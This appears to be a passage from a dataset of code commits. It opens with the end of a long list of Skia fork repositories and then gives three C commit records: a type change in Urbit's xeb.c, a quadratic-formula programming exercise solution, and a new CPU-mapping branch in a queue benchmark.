android_external_skia,ctiao\/platform-external-skia,FusionSP\/android_external_skia,Asteroid-Project\/android_external_skia,TeamEOS\/external_skia,Euphoria-OS-Legacy\/android_external_skia,akiss77\/skia,sudosurootdev\/external_skia,FusionSP\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,AOSPU\/external_chromium_org_third_party_skia,NamelessRom\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,AsteroidOS\/android_external_skia,ench0\/external_chromium_org_third_party_skia,zhaochengw\/platform_external_skia,rubenvb\/skia,vanish87\/skia,VRToxin-AOSP\/android_external_skia,aosp-mirror\/platform_external_skia,mydongistiny\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,OneRom\/external_skia,MarshedOut\/android_external_skia,RadonX-ROM\/external_skia,nvoron23\/skia,VRToxin-AOSP\/android_external_skia,pacerom\/external_skia,YUPlayGodDev\/platform_external_skia,byterom\/android_external_skia,codeaurora-unoffical\/platform-external-skia,tmpvar\/skia.cc,OneRom\/external_skia,Omegaphora\/external_skia,MarshedOut\/android_external_skia,Tesla-Redux\/android_external_skia,byterom\/android_external_skia,YUPlayGodDev\/platform_external_skia,ench0\/external_skia,MinimalOS\/android_external_skia,qrealka\/skia-hc,AndroidOpenDevelopment\/android_external_skia,fire855\/android_external_skia,TeamTwisted\/external_skia,Infusion-OS\/android_external_skia,HealthyHoney\/temasek_SKIA,xzzz9097\/android_external_skia,Fusion-Rom\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,nvoron23\/skia,InfinitiveOS\/external_skia,ench0\/external_chromium_org_third_party_skia,mozilla-b2g\/external_skia,larsbergstrom\/skia,Omegaphora\/external_chromium_org_third_party_skia,AOSPB\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,mozilla-b2g\/external_skia,Igalia\/skia,InfinitiveOS\/external_skia,noselhq\/skia,MinimalOS\/external_chromium_org_third_party_skia,OptiPop\/external_skia,Asteroid-Project\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,chenlian2015\/skia_from_google,google\/skia,qrealka\/skia-hc,CyanogenMod\/android_external_chromium_org_third_party_skia,shahrzadmn\/skia,byterom\/android_external_skia,Samsung\/skia,Infinitive-OS\/platform_external_skia,UBERMALLOW\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,rubenvb\/skia,Plain-Andy\/android_platform_external_skia,Omegaphora\/external_chromium_org_third_party_skia,Samsung\/skia,TeamBliss-LP\/android_external_skia,nox\/skia,Hybrid-Rom\/external_skia,jtg-gg\/skia,aospo\/platform_external_skia,MinimalOS\/external_skia,zhaochengw\/platform_external_skia,shahrzadmn\/skia,VRToxin-AOSP\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,Omegaphora\/external_skia,HalCanary\/skia-hc,RadonX-ROM\/external_skia,sombree\/android_external_skia,MinimalOS\/android_external_skia,akiss77\/skia,sigysmund\/platform_external_skia,TeamEOS\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Asteroid-Project\/android_external_skia,vvuk\/skia,vanish87\/skia,akiss77\/skia,Pure-Aosp\/android_external_skia,VRToxin-AOSP\/android_external_skia,VRToxin-AOSP\/android_external_skia,Infinitive-OS\/platform_external_skia,Samsung\/skia,FusionSP\/android_external_skia,scroggo\/skia,Tesla-Redux\/android_external_skia,Igalia\/skia,VRToxin-AOSP\/android_external_skia,Purity-Lollipop\/platform_external_skia,byterom\/android_external_skia,MinimalOS\/external_skia,amyvmiwei\/skia,fire855\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,UBERMALLOW\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,Igalia\/skia,OptiPop\/external_chromium_org_third_party_skia,Omegaphora\/external_skia,larsbergstrom\/skia,TeamTwisted\/external_skia,aospo\/platform_external_skia,sombree\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,Khaon\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,AOSPB\/external_skia,temasek\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,boulzordev\/android_external_skia,pacerom\/external_skia,tmpvar\/skia.cc,ench0\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,samuelig\/skia,AOSPA-L\/android_external_skia,noselhq\/skia,TeslaProject\/external_skia,invisiblek\/android_external_skia,Tesla-Redux\/android_external_skia,google\/skia,CyanogenMod\/android_external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,Euphoria-OS-Legacy\/android_external_skia,nox\/skia,Igalia\/skia,CyanogenMod\/android_external_chromium_org_third_party_skia,YUPlayGodDev\/platform_external_skia,Omegaphora\/external_chromium_org_third_party_skia,aospo\/platform_external_skia,Euphoria-OS-Legacy\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,TeamBliss-LP\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,Samsung\/skia,TeamExodus\/external_skia,Igalia\/skia,UBERMALLOW\/external_skia,F-AOSP\/platform_external_skia,Igalia\/skia,GladeRom\/android_external_skia,Fusion-Rom\/android_external_skia,android-ia\/platform_external_skia,w3nd1go\/android_external_skia,Khaon\/android_external_skia,temasek\/android_external_skia,F-AOSP\/platform_external_skia,Jichao\/skia,VentureROM-L\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,noselhq\/skia,suyouxin\/android_external_skia,codeaurora-unoffical\/platform-external-skia,vanish87\/skia,aosp-mirror\/platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,vvuk\/skia,TeamEOS\/external_chromium_org_third_party_skia,OptiPop\/external_skia,mozilla-b2g\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,tmpvar\/skia.cc,Tesla-Redux\/android_external_skia,AOSPB\/external_skia,Euphoria-OS-Legacy\/android_external_skia,TeamTwisted\/external_skia,RadonX-ROM\/external_skia,OptiPop\/external_chromium_org_third_party_skia,TeslaProject\/external_skia,DesolationStaging\/android_external_skia,Jichao\/skia,spezi77\/android_external_skia,mydongistiny\/android_external_skia,HalCanary\/skia-hc,MinimalOS-AOSP\/platform_external_skia,mozilla-b2g\/external_skia,MIPS\/external-chromium_org-third_party-skia,ctiao\/platform-external-skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,akiss77\/skia,timduru\/platform-external-skia,AOSP-YU\/platform_external_skia,Hybrid-Rom\/external_skia,codeaurora-unoffical\/platform-external-skia,DesolationStaging\/android_external_skia,VRToxin-AOSP\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,w3nd1go\/android_external_skia,YUPlayGodDev\/platform_external_skia,InfinitiveOS\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,google\/skia,chenlian2015\/skia_from_google,HealthyHoney\/temasek_SKIA,TeamEOS\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,OptiPop\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,vvuk\/skia,DARKPOP\/external_chromium_org_third_party_skia,AsteroidOS\/android_external_skia,TeamBliss-LP\/android_external_skia,TeamExodus\/external_skia,android-ia\/platform_external_skia,RadonX-ROM\/external_skia,mydongistiny\/android_external_skia,akiss77\/skia,mydongistiny\/external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,codeaurora-unoffical\/platform-external-skia,PAC-ROM\/android_external_skia,Igalia\/skia,wildermason\/external_skia,vanish87\/skia,codeaurora-unoffical\/platform-external-skia,Hikari-no-Tenshi\/android_external_skia,Khaon\/android_external_skia,todotodoo\/skia,geekboxzone\/mmallow_external_skia,boulzordev\/android_external_skia,TeamEOS\/external_skia,TeamTwisted\/external_skia,AOSPA-L\/android_external_skia,OneRom\/external_skia,sudosurootdev\/external_skia,TeslaOS\/android_external_skia,sombree\/android_external_skia,timduru\/platform-external-skia,xin3liang\/platform_external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,Hikari-no-Tenshi\/android_external_skia,xzzz9097\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,pacerom\/external_skia,MarshedOut\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,Purity-Lollipop\/platform_external_skia,Asteroid-Project\/android_external_skia,geekboxzone\/mmallow_external_skia,Tesla-Redux\/android_external_skia,wildermason\/external_skia,boulzordev\/android_external_skia,GladeRom\/android_external_skia,aospo\/platform_external_skia,tmpvar\/skia.cc,fire855\/android_external_skia,geekboxzone\/mmallow_external_skia,aosp-mirror\/platform_external_skia,wildermason\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Pure-Aosp\/android_external_skia,timduru\/platform-external-skia,TeslaProject\/external_skia,akiss77\/skia,amyvmiwei\/skia,samuelig\/skia,pacerom\/external_skia,invisiblek\/android_external_skia,AOSPA-L\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,HealthyHoney\/temasek_SKIA,Infinitive-OS\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,android-ia\/platform_external_skia,AOSPB\/external_skia,DiamondLovesYou\/skia-sys,Pure-Aosp\/android_external_skia,ench0\/external_skia,houst0nn\/external_skia,mmatyas\/skia,todotodoo\/skia,aospo\/platform_external_skia,houst0nn\/external_skia,BrokenROM\/external_skia,qrealka\/skia-hc,Pure-Aosp\/android_external_skia,sudosurootdev\/external_skia,mydongistiny\/android_external_skia,TeslaOS\/android_external_skia,MinimalOS\/android_external_skia,Infinitive-OS\/platform_external_skia,YUPlayGodDev\/platform_external_skia,AOSPU\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,FusionSP\/android_external_skia,vvuk\/skia,AOSP-YU\/platform_external_skia,pacerom\/external_skia,NamelessRom\/android_external_skia,timduru\/platform-external-skia,rubenvb\/skia,Samsung\/skia,HalCanary\/skia-hc,boulzordev\/android_external_skia,Samsung\/skia,amyvmiwei\/skia,jtg-gg\/skia,invisiblek\/android_external_skia,Jichao\/skia,mmatyas\/skia,InfinitiveOS\/external_skia,MinimalOS-AOSP\/platform_external_skia,Tesla-Redux\/android_external_skia,HealthyHoney\/temasek_SKIA,Asteroid-Project\/android_external_skia,aosp-mirror\/platform_external_skia,YUPlayGodDev\/platform_external_skia,TeslaOS\/android_external_skia,vanish87\/skia,FusionSP\/android_external_skia,OneRom\/external_skia,MarshedOut\/android_external_skia,w3nd1go\/android_external_skia,MinimalOS\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,FusionSP\/android_external_skia,houst0nn\/external_skia,AsteroidOS\/android_external_skia,Purity-Lollipop\/platform_external_skia,scroggo\/skia,w3nd1go\/android_external_skia,Android-AOSP\/external_skia,HealthyHoney\/temasek_SKIA,OptiPop\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,geekboxzone\/mmallow_external_skia,DesolationStaging\/android_external_skia,HalCanary\/skia-hc,Euphoria-OS-Legacy\/android_external_skia,mmatyas\/skia,pcwalton\/skia,UBERMALLOW\/external_skia,MinimalOS-AOSP\/platform_external_skia,rubenvb\/skia,houst0nn\/external_skia,AsteroidOS\/android_external_skia,fire855\/android_external_skia,TeslaProject\/external_skia,mmatyas\/skia,scroggo\/skia,amyvmiwei\/skia,DesolationStaging\/android_external_skia,AOSPA-L\/android_external_skia,AOSP-YU\/platform_external_skia,BrokenROM\/external_skia,ctiao\/platform-external-skia,sudosurootdev\/external_skia,DiamondLovesYou\/skia-sys,NamelessRom\/android_external_skia,TeamBliss-LP\/android_external_skia,nox\/skia,jtg-gg\/skia,Plain-Andy\/android_platform_external_skia,temasek\/android_external_skia,pcwalton\/skia,MarshedOut\/android_external_skia,nfxosp\/platform_external_skia,Tesla-Redux\/android_external_skia,scroggo\/skia,zhaochengw\/platform_external_skia,AOSP-YU\/platform_external_skia,zhaochengw\/platform_external_skia,Android-AOSP\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,nfxosp\/platform_external_skia,rubenvb\/skia,mydongistiny\/external_chromium_org_third_party_skia,HalCanary\/skia-hc,tmpvar\/skia.cc,TeslaOS\/android_external_skia,geekboxzone\/lollipop_external_skia,aosp-mirror\/platform_external_skia,TeamEOS\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,MinimalOS\/android_external_chromium_org_third_party_skia,AOSPA-L\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,google\/skia,spezi77\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,Jichao\/skia,MinimalOS-AOSP\/platform_external_skia,rubenvb\/skia,invisiblek\/android_external_skia,wildermason\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,nox\/skia,fire855\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,google\/skia,SlimSaber\/android_external_skia,TeslaOS\/android_external_skia,nvoron23\/skia,FusionSP\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,pcwalton\/skia,zhaochengw\/platform_external_skia,todotodoo\/skia,RadonX-ROM\/external_skia,Omegaphora\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,rubenvb\/skia,todotodoo\/skia,boulzordev\/android_external_skia,MinimalOS\/external_skia,NamelessRom\/android_external_skia,geekboxzone\/mmallow_external_skia,SlimSaber\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,Fusion-Rom\/android_external_skia,houst0nn\/external_skia,ench0\/external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,Android-AOSP\/external_skia,MinimalOS\/external_skia,AOSPA-L\/android_external_skia,MinimalOS\/android_external_skia,PAC-ROM\/android_external_skia,Khaon\/android_external_skia,UBERMALLOW\/external_skia,NamelessRom\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,MyAOSP\/external_chromium_org_third_party_skia,shahrzadmn\/skia,pacerom\/external_skia,FusionSP\/external_chromium_org_third_party_skia,UBERMALLOW\/external_skia,SlimSaber\/android_external_skia,ominux\/skia,TeslaOS\/android_external_skia,Igalia\/skia,vvuk\/skia,mmatyas\/skia,TeslaOS\/android_external_skia,vvuk\/skia,Euphoria-OS-Legacy\/android_external_skia,nfxosp\/platform_external_skia,Pure-Aosp\/android_external_skia,aosp-mirror\/platform_external_skia,scroggo\/skia,InfinitiveOS\/external_skia,codeaurora-unoffical\/platform-external-skia,Jichao\/skia,nox\/skia,OptiPop\/external_skia,nvoron23\/skia,PAC-ROM\/android_external_skia,PAC-ROM\/android_external_skia,TeslaProject\/external_skia,chenlian2015\/skia_from_google,MinimalOS-AOSP\/platform_external_skia,xzzz9097\/android_external_skia,akiss77\/skia,AndroidOpenDevelopment\/android_external_skia,aosp-mirror\/platform_external_skia,fire855\/android_external_skia,spezi77\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Asteroid-Project\/android_external_skia,nox\/skia,AOSPA-L\/android_external_skia,BrokenROM\/external_skia,suyouxin\/android_external_skia,aospo\/platform_external_skia,sudosurootdev\/external_skia,DesolationStaging\/android_external_skia,Fusion-Rom\/android_external_skia,MinimalOS\/android_external_skia,SlimSaber\/android_external_skia,jtg-gg\/skia,Jichao\/skia,OptiPop\/external_chromium_org_third_party_skia,temasek\/android_external_skia,nvoron23\/skia,aospo\/platform_external_skia,mozilla-b2g\/external_skia,DesolationStaging\/android_external_skia,noselhq\/skia,TeamBliss-LP\/android_external_skia,Khaon\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,MyAOSP\/external_chromium_org_third_party_skia,jtg-gg\/skia,w3nd1go\/android_external_skia,boulzordev\/android_external_skia,pcwalton\/skia,timduru\/platform-external-skia,VentureROM-L\/android_external_skia,sombree\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,NamelessRom\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,PAC-ROM\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,GladeRom\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,TeamEOS\/external_skia,TeamExodus\/external_skia,Tesla-Redux\/android_external_skia,MonkeyZZZZ\/platform_external_skia,zhaochengw\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,zhaochengw\/platform_external_skia,noselhq\/skia,BrokenROM\/external_skia,PAC-ROM\/android_external_skia,google\/skia,todotodoo\/skia,Infinitive-OS\/platform_external_skia,invisiblek\/android_external_skia,aosp-mirror\/platform_external_skia,geekboxzone\/lollipop_external_skia,BrokenROM\/external_skia,VRToxin-AOSP\/android_external_skia,AsteroidOS\/android_external_skia,xzzz9097\/android_external_skia,BrokenROM\/external_skia,Android-AOSP\/external_skia,Purity-Lollipop\/platform_external_skia,TeamEOS\/external_chromium_org_third_party_skia,Hybrid-Rom\/external_skia,suyouxin\/android_external_skia,OptiPop\/external_skia,MinimalOS\/external_skia,MonkeyZZZZ\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,UBERMALLOW\/external_skia,noselhq\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,samuelig\/skia,mozilla-b2g\/external_skia,ominux\/skia,Hikari-no-Tenshi\/android_external_skia,DesolationStaging\/android_external_skia,Omegaphora\/external_skia,MonkeyZZZZ\/platform_external_skia,MyAOSP\/external_chromium_org_third_party_skia,ominux\/skia,OptiPop\/external_chromium_org_third_party_skia,Infusion-OS\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,jtg-gg\/skia,noselhq\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,Purity-Lollipop\/platform_external_skia,Purity-Lollipop\/platform_external_skia,TeamExodus\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,ench0\/external_skia,geekboxzone\/mmallow_external_skia,nvoron23\/skia,spezi77\/android_external_skia,F-AOSP\/platform_external_skia,android-ia\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,suyouxin\/android_external_skia,noselhq\/skia,Omegaphora\/external_skia,MonkeyZZZZ\/platform_external_skia,Fusion-Rom\/android_external_skia,TeamEOS\/external_skia,Android-AOSP\/external_skia,OneRom\/external_skia,FusionSP\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,mydongistiny\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,invisiblek\/android_external_skia,TeamTwisted\/external_skia,HalCanary\/skia-hc,Fusion-Rom\/android_external_skia,mydongistiny\/android_external_skia,MonkeyZZZZ\/platform_external_skia,AOSPB\/external_skia,xzzz9097\/android_external_skia,nfxosp\/platform_external_skia,OptiPop\/external_skia,PAC-ROM\/android_external_skia,invisiblek\/android_external_skia,pcwalton\/skia,UBERMALLOW\/external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,xzzz9097\/android_external_skia,shahrzadmn\/skia,Hikari-no-Tenshi\/android_external_skia,ominux\/skia,Khaon\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,sudosurootdev\/external_skia,AndroidOpenDevelopment\/android_external_skia,shahrzadmn\/skia,AOSP-YU\/platform_external_skia,Asteroid-Project\/android_external_skia,TeamBliss-LP\/android_external_skia,temasek\/android_external_skia,nfxosp\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,DiamondLovesYou\/skia-sys,Infinitive-OS\/platform_external_skia,ench0\/external_skia,w3nd1go\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,sigysmund\/platform_external_skia,Asteroid-Project\/android_external_skia,mozilla-b2g\/external_skia,ominux\/skia,TeamExodus\/external_skia,geekboxzone\/lollipop_external_skia,sombree\/android_external_skia,todotodoo\/skia,suyouxin\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,xzzz9097\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,temasek\/android_external_skia,sigysmund\/platform_external_skia,YUPlayGodDev\/platform_external_skia,AOSP-YU\/platform_external_skia,temasek\/android_external_skia,todotodoo\/skia,qrealka\/skia-hc,byterom\/android_external_skia,VentureROM-L\/android_external_skia,PAC-ROM\/android_external_skia,w3nd1go\/android_external_skia,Infusion-OS\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,pcwalton\/skia,vanish87\/skia,Omegaphora\/external_chromium_org_third_party_skia,AOSPB\/external_skia,samuelig\/skia,Hybrid-Rom\/external_skia,ench0\/external_skia,TeamExodus\/external_skia,TeamTwisted\/external_skia,scroggo\/skia,TeamExodus\/external_skia,Purity-Lollipop\/platform_external_skia,mozilla-b2g\/external_skia,suyouxin\/android_external_skia,scroggo\/skia,mydongistiny\/android_external_skia,akiss77\/skia,mmatyas\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,Plain-Andy\/android_platform_external_skia,larsbergstrom\/skia,shahrzadmn\/skia,GladeRom\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,mmatyas\/skia,codeaurora-unoffical\/platform-external-skia,sudosurootdev\/external_skia,shahrzadmn\/skia,ench0\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,AndroidOpenDevelopment\/android_external_skia,Jichao\/skia,spezi77\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,AOSPB\/external_skia,TeamExodus\/external_skia,MinimalOS\/external_chromium_org_third_party_skia,MinimalOS\/external_skia,TeamEOS\/external_skia,geekboxzone\/lollipop_external_skia,VentureROM-L\/android_external_skia,OneRom\/external_skia,Hybrid-Rom\/external_skia,TeamEOS\/external_skia,samuelig\/skia,ctiao\/platform-external-skia"}
{"commit":"26b39b539a4fd863cad9f1732466fcdc331d3cd6","old_file":"jets\/c\/xeb.c","new_file":"jets\/c\/xeb.c","old_contents":"\/* j\/3\/xeb.c\n**\n*\/\n#include \"all.h\"\n\n\n\/* functions\n*\/\n  u3_noun\n  u3qc_xeb(u3_atom a)\n  {\n    mpz_t a_mp;\n\n    if ( __(u3a_is_dog(a)) ) {\n      u3r_mp(a_mp, a);\n      size_t log = mpz_sizeinbase(a_mp, 2);\n      mpz_t b_mp;\n      mpz_init_set_ui(b_mp, log);\n      return u3i_mp(b_mp);\n    }\n    else {\n      mpz_init_set_ui(a_mp, a);\n      c3_d x = mpz_sizeinbase(a_mp, 2);\n      mpz_t b_mp;\n      mpz_init_set_ui(b_mp, x);\n      return u3i_mp(b_mp);\n    }\n  }\n  u3_noun\n  u3wc_xeb(\n                  u3_noun cor)\n  {\n    u3_noun a;\n\n    if ( (u3_none == (a = u3r_at(u3x_sam, cor))) ||\n         (c3n == u3ud(a)) )\n    {\n      return u3m_bail(c3__exit);\n    } else {\n      return u3qc_xeb(a);\n    }\n  }\n\n","new_contents":"\/* j\/3\/xeb.c\n**\n*\/\n#include \"all.h\"\n\n\n\/* functions\n*\/\n  u3_noun\n  u3qc_xeb(u3_atom a)\n  {\n    mpz_t a_mp;\n\n    if ( __(u3a_is_dog(a)) ) {\n      u3r_mp(a_mp, a);\n      c3_d x = mpz_sizeinbase(a_mp, 2);\n      mpz_t b_mp;\n      mpz_init_set_ui(b_mp, x);\n      return u3i_mp(b_mp);\n    }\n    else {\n      mpz_init_set_ui(a_mp, a);\n      c3_d x = mpz_sizeinbase(a_mp, 2);\n      mpz_t b_mp;\n      mpz_init_set_ui(b_mp, x);\n      return u3i_mp(b_mp);\n    }\n  }\n  u3_noun\n  u3wc_xeb(\n                  u3_noun cor)\n  {\n    u3_noun a;\n\n    if ( (u3_none == (a = u3r_at(u3x_sam, cor))) ||\n         (c3n == u3ud(a)) )\n    {\n      return u3m_bail(c3__exit);\n    } else {\n      return u3qc_xeb(a);\n    }\n  }\n\n","subject":"Use urbit types instead of size_t","message":"Use urbit types instead of size_t\n","lang":"C","license":"mit","repos":"rsaarelm\/urbit,dphiffer\/urbit,Gunga\/urbit,yebyen\/urbit,jpt4\/urbit,dphiffer\/urbit,Gunga\/urbit,galenwp\/urbit,chc4\/urbit,bvschwartz\/urbit,daveloyall\/urbit,rsaarelm\/urbit,galenwp\/urbit,jpt4\/urbit,chc4\/urbit,jpt4\/urbit,rsaarelm\/urbit,galenwp\/urbit,dphiffer\/urbit,dphiffer\/urbit,jpt4\/urbit,daveloyall\/urbit,burtonsamograd\/urbit,daveloyall\/urbit,chc4\/urbit,jpt4\/urbit,philippeback\/urbit,8l\/urbit,yebyen\/urbit,philippeback\/urbit,bvschwartz\/urbit,yebyen\/urbit,bollu\/urbit,philippeback\/urbit,bollu\/urbit,yebyen\/urbit,8l\/urbit,8l\/urbit,Gunga\/urbit,urbit\/archaeology-factor,dphiffer\/urbit,daveloyall\/urbit,burtonsamograd\/urbit,bollu\/urbit,urbit\/archaeology-factor,jpt4\/urbit,rsaarelm\/urbit,galenwp\/urbit,bollu\/urbit,bvschwartz\/urbit,urbit\/archaeology-factor,rsaarelm\/urbit,dphiffer\/urbit,burtonsamograd\/urbit,galenwp\/urbit,8l\/urbit,dphiffer\/urbit,bvschwartz\/urbit,yebyen\/urbit,jpt4\/urbit,Gunga\/urbit,jpt4\/urbit,daveloyall\/urbit,Gunga\/urbit,daveloyall\/urbit,bvschwartz\/urbit,bollu\/urbit,rsaarelm\/urbit,urbit\/archaeology-factor,bollu\/urbit,urbit\/archaeology-factor,galenwp\/urbit,bvschwartz\/urbit,rsaarelm\/urbit,dphiffer\/urbit,daveloyall\/urbit,chc4\/urbit,yebyen\/urbit,burtonsamograd\/urbit,galenwp\/urbit,daveloyall\/urbit,galenwp\/urbit,galenwp\/urbit,bvschwartz\/urbit,rsaarelm\/urbit,urbit\/archaeology-factor,8l\/urbit,bollu\/urbit,philippeback\/urbit,yebyen\/urbit,chc4\/urbit,Gunga\/urbit,burtonsamograd\/urbit,philippeback\/urbit,daveloyall\/urbit,bvschwartz\/urbit,bollu\/urbit,yebyen\/urbit,rsaarelm\/urbit,chc4\/urbit,philippeback\/urbit,urbit\/archaeology-factor,yebyen\/urbit,8l\/urbit,galenwp\/urbit,8l\/urbit,bvschwartz\/urbit,8l\/urbit,chc4\/urbit,burtonsamograd\/urbit,urbit\/archaeology-factor,burtonsamograd\/urbit,bollu\/urbit,rsaarelm\/urbit,8l\/urbit,burtonsamograd\/urbit,bvschwartz\/urbit,Gunga\/urbit,chc4\/urbit,chc4\/urbit,dphiffer\/urbit,jpt4\/urbit,Gunga\/urbit,8l\/urbit,bollu\/urbit,urbit\/archaeology-factor,chc4\/urbit,yebyen\/urbit,philippeback\/urbit,jpt4\/urbit,burtonsamograd\/urbit,Gunga\/urbit,urbit\/archaeology-factor,philippeback\/urbit,philippeback\/urbit,philippeback\/urbit,Gunga\/urbit,daveloyall\/urbit,burtonsamograd\/urbit,dphiffer\/urbit"}
{"commit":"a603af5280511d2c0af42bdbb3800bffacfd7e9a","old_file":"solutions\/uri\/1036\/1036.c","new_file":"solutions\/uri\/1036\/1036.c","old_contents":"","new_contents":"#include <math.h>\n#include <stdio.h>\n\nint main() {\n    double a, b, c, delta;\n\n    scanf(\"%lf %lf %lf\", &a, &b, &c);\n\n    delta = (b * b) - 4 * a * c;\n    if (delta >= 0 && a != 0) {\n        printf(\"R1 = %.5lf\\n\", ((b * -1) + sqrt(delta)) \/ (2 * a));\n        printf(\"R2 = %.5lf\\n\", ((b * -1) - sqrt(delta)) \/ (2 * a));\n    } else {\n        printf(\"Impossivel calcular\\n\");\n    }\n\n    return 0;\n}\n","subject":"Solve Bhaskara's Formula in c","message":"Solve Bhaskara's Formula in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"2a8c9a3aa4d28232e294877316f4a11bbc03ee7e","old_file":"cpumap.c","new_file":"cpumap.c","old_contents":"#ifdef GUADALUPE_SPREAD\n\nint cpumap(int i, int nprocs)\n{\n  return (i \/ 36) * 36 + (i % 2) * 18 + (i % 36 \/ 2);\n}\n\n#elif GUADALUPE_MIC_COMPACT\n\nint cpumap(int i, int nprocs)\n{\n  return (i + 1) % 228;\n}\n\n#else\n\nint cpumap(int id, int nprocs)\n{\n  return id % nprocs;\n}\n\n#endif\n","new_contents":"#ifdef GUADALUPE_SPREAD\n\nint cpumap(int i, int nprocs)\n{\n  return (i \/ 36) * 36 + (i % 2) * 18 + (i % 36 \/ 2);\n}\n\n#elif GUADALUPE_MIC_COMPACT\n\nint cpumap(int i, int nprocs)\n{\n  return (i + 1) % 228;\n}\n\n#elif BIOU_COMPACT\n\nint cpumap(int i, int nprocs)\n{\n  return (i % 4) * 32 + i \/ 4;\n}\n\n#else\n\nint cpumap(int id, int nprocs)\n{\n  return id % nprocs;\n}\n\n#endif\n","subject":"Add compact allocation on BioU.","message":"Add compact allocation on BioU.\n","lang":"C","license":"mit","repos":"chaoran\/hpc-queue,chaoran\/fast-wait-free-queue,chaoran\/hpc-queue,chaoran\/fast-wait-free-queue,chaoran\/hpc-queue,chaoran\/fast-wait-free-queue"}
